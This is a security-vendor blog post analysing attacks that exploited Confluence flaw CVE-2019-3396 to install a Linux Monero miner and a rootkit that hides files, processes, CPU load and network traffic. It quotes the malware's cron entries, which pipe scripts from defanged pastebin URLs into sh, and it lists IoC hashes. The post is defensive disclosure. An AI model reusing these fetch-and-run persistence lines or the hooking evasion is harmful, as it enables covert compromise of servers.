

CVE-2019-3396: Exploiting the Confluence Vulnerability

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In March 2019, Atlassian published an [advisory](#) covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability [CVE-2019-3396](#), being [exploited by threat actors](#) to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to [drop the Gandcrab ransomware](#) [open on a new tab](#).

It seems that these incidents are not the last we've seen of the CVE-2019-3396 exploitation, as threat actors are still finding new ways to exploit the vulnerability. We discovered that it is also being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities. This technique is highly reminiscent of [another attacknews-cybercrime-and-digital-threats](#) that occurred in November 2018 that used a similar miner-rootkit combination.

Arrival and propagation



Figure 1. Infection chain

The attack begins with a remote command sent to download a shell script from pastebin (`hxxps://pastebin[.]com/MjGrx7EA`).

This shell script kills certain processes and then downloads and executes "lsd_1" from another pastebin (`hxxps://pastebin[.]com/CvJM3qz5`). This file is a second shell script that will drop a third shell script, "lsd_2," sourced from yet another pastebin (`hxxps://pastebin[.]com/a3EAddwq`).

This shell script is responsible for downloading a trojan dropper from the following servers:

- gwjyhs[.]com
- img[.]sobot[.]com

The malware, kerberods (detected as Trojan.Linux.KERBERDS.A), is a custom-packed binary that installs itself via cron jobs:

- */10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu|wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh

Kerberods is responsible for dropping the cryptocurrency miner (khugepageds, detected as Coinminer.Linux.MALXMR.UWEJI) and its rootkit component.

One particularly interesting aspect of the binary is the way it drops the rootkit. First, it writes the code for the rootkit to a file named `/usr/local/lib/{random filename}.c`.



Figure 2. Writing the rootkit code

The rootkit is then compiled via gcc, with the output binary being `/usr/local/lib/{random filename}.so`.



Figure 3. Compiling the rootkit code

Kerberods also has multiple ways of propagating itself, spreading via SSH and *exploiting* [CVE-2019-1003001 and CVE-2019-1003000](#).

As for khugepageds, it is an XMRig 2.14.1-mo1 Monero miner with a config that is hardcoded into the binary:



Figure 4. The miner's config

The mining pool can be accessed at `systemten[.]org:51640`.

Rootkit as evasion method

As mentioned earlier, this attack shares many of the same characteristics of last year's incident, such as the use of pastebin as a C&C server, the miner payload, and its use of a rootkit to hide the malware.

Like kerberods, the miner payload also uses a custom packer to impede analysis.



Figure 5. The custom packer used for the cryptocurrency-mining malware

Unlike the older rootkit that only hooks the `readdir` function to hide the mining process, this new version hooks more functions. It hides not only the mining process but also certain files and network traffic. It is also capable of forging the machine's CPU usage.

The hooked functions are shown below:

- `fopen`
- `fopen64`
- `lstat`
- `lxstat`
- `open`
- `rmdir`
- `stat`
- `stat64`
- `__xstat`
- `__xstat64`
- `unlink`
- `unlinkat`
- `opendir`
- `readdir`
- `readdir6`

Most of the hooked functions would return a "No such file or directory error" if their parameter contains the file name of the rootkit, the miner, or `ld.so.preload`.



Figure 6. Hooked functions returning an error to hide the infection

The following image shows the `htop` system monitor output with and without the rootkit loaded. Note how the version with the rootkit loaded hides the CPU usage and the mining process.



Figure 7. Comparison of the htop system monitor output showing the version with (right) and without (left) the rootkit present



Figure 8. Netstat output before (left) and after (right) the rootkit is loaded



Figure 9. Functions for forging CPU usage and TCP connections



Figure 10. Forging network traffic



Figure 11. Forging CPU usage

The rootkit also serves as a form of persistence by hooking the access function so that a cron job is created to reinstall the malware whenever it is called.



Figure 12. Code showing the cron job used to download and execute kerberods

Security recommendations and solutions

We’ve seen multiple attacks involving CVE-2019-3396 within a short span of time. This shows that cybercriminals are willing and able to abuse any vulnerability in multiple ways. This emphasizes that [continuous monitoring news article](#) is needed to detect any threats in an organization’s environment.

For effective monitoring, organizations can look into the Trend Micro™ [Hybrid Cloud Security products](#) solution, which provides powerful, streamlined, and automated [security products](#) within the [DevOps pipeline products](#). It also provides multiple [XGen™ products](#) threat defense techniques for protecting physical, virtual, and cloud workloads. In addition, it protects containers via the [Deep Security products](#)™ and [Deep Security Smart Check products](#) solutions, which help DevOps and security teams scan and ensure the security of container images during preruntime and runtime.

The [Trend Micro Deep Security open on a new tab](#) solution protects user systems from threats that may target the following vulnerability rule:

1009705 - Atlassian Confluence Server Remote Code Execution Vulnerability (CVE-2019-3396)

Indicators of Compromise (IoCs)

| Details | Hashes (SHA-256) | Detection Name |
|--|--|--------------------------|
| kerberods (coinminer binary) | a9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9 | Trojan.Linux.KERBERDS.A |
| khugepageds (cryptocurrency mining malware) | 25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213 | Coinminer.Linux.MALXMR.U |
| random.so (rootkit) | 3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3 | Rootkit.Linux.KERBERDS.A |

Source: <https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/>